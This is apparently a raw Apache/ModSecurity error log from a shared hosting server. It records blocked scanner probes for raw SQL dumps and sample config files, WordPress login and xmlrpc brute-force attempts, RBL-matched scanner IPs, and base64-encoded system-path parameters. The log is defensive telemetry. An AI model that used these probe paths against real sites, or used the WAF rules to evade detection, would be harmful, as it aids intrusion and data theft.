https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:20:02.030823 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDU= [Sat Jun 13 18:20:02.460842 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.77:60069] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:02.461198 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.77:60069] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:02.535976 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ0 [Sat Jun 13 18:20:02.536271 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ0 [Sat Jun 13 18:20:02.647692 2026] [core:error] [pid 646876:tid 647100] [client 45.86.200.13:46013] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:02.647712 2026] [core:error] [pid 646876:tid 647100] [client 45.86.200.13:46013] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:02.960822 2026] [security2:error] [pid 648189:tid 648298] [remote 17.241.75.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zslWSojQL4F7upKCBHwAAzkw"] [Sat Jun 13 18:20:03.028568 2026] [access_compat:error] [pid 646876:tid 646934] [remote 57.141.14.95:49777] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:03.029036 2026] [access_compat:error] [pid 646876:tid 646934] [remote 57.141.14.95:49777] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:03.051820 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:20:03.052251 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:20:03.149362 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.85:51870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:03.149662 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.85:51870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:03.209040 2026] [security2:error] [pid 648189:tid 648244] [remote 17.22.245.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zs1WSojQL4F7upKCBKAAAkBc"] [Sat Jun 13 18:20:03.243238 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:60550] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/install.sql"] [unique_id "ai3zs1WSojQL4F7upKCBKwAAAP0"] [Sat Jun 13 18:20:03.344129 2026] [security2:error] [pid 648189:tid 648344] [remote 210.211.99.176:40388] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kcd-global.com"] [uri "/xmlrpc.php"] [unique_id "ai3zs1WSojQL4F7upKCBLwAA0Hk"] [Sat Jun 13 18:20:03.344325 2026] [security2:error] [pid 648189:tid 648429] [client 210.211.99.176:40388] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "kcd-global.com"] [uri "/xmlrpc.php"] [unique_id "ai3zs1WSojQL4F7upKCBLwAA0Hk"] [Sat Jun 13 18:20:03.378416 2026] [security2:error] [pid 648189:tid 648432] [client 185.177.72.9:60550] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/update.sql"] [unique_id "ai3zs1WSojQL4F7upKCBOQAAANM"] [Sat Jun 13 18:20:03.415255 2026] [security2:error] [pid 648189:tid 648300] [remote 119.195.102.159:57976] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.102.195.119.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3zs1WSojQL4F7upKCBPgAA-U4"] [Sat Jun 13 18:20:03.415771 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.86:29008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:03.416193 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.86:29008] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:03.515298 2026] [security2:error] [pid 648189:tid 648410] [client 185.177.72.9:60550] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/delete.sql"] [unique_id "ai3zs1WSojQL4F7upKCBTAAAAL0"] [Sat Jun 13 18:20:03.578266 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:20:03.578582 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:20:03.584171 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.71:23120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:03.584442 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.71:23120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:03.785358 2026] [core:error] [pid 648189:tid 648434] [client 45.86.200.15:38857] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:03.785376 2026] [core:error] [pid 648189:tid 648434] [client 45.86.200.15:38857] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:03.941174 2026] [security2:error] [pid 648189:tid 648440] [client 185.177.72.9:60550] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/example-config.php"] [unique_id "ai3zs1WSojQL4F7upKCBZwAAANs"] [Sat Jun 13 18:20:03.978467 2026] [security2:error] [pid 648189:tid 648343] [remote 17.241.75.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zs1WSojQL4F7upKCBagAAong"] [Sat Jun 13 18:20:04.047461 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.21:54357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:04.047745 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.21:54357] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:04.089005 2026] [access_compat:error] [pid 648189:tid 648262] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:04.089275 2026] [access_compat:error] [pid 648189:tid 648262] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:04.187836 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:04.188102 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:04.209235 2026] [security2:error] [pid 648189:tid 648361] [client 185.177.72.9:43302] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/sample-config.php"] [unique_id "ai3ztFWSojQL4F7upKCBeQAAAI0"] [Sat Jun 13 18:20:04.460243 2026] [security2:error] [pid 648189:tid 648339] [remote 17.246.23.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ztFWSojQL4F7upKCBhwAA1HQ"] [Sat Jun 13 18:20:04.506402 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.22:23954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:04.506744 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.22:23954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:04.583124 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.29:47369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:04.583542 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.29:47369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:04.659087 2026] [core:error] [pid 648189:tid 648395] [client 45.86.200.50:39137] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:04.659113 2026] [core:error] [pid 648189:tid 648395] [client 45.86.200.50:39137] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:04.685360 2026] [security2:error] [pid 648189:tid 648349] [remote 194.163.172.142:50852] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.172.163.194.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai3ztFWSojQL4F7upKCBnQAA634"] [Sat Jun 13 18:20:04.720435 2026] [security2:error] [pid 648189:tid 648344] [remote 17.22.245.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ztFWSojQL4F7upKCBpAAAhXk"] [Sat Jun 13 18:20:04.726476 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:20:04.726918 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:20:05.280221 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:20:05.280498 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 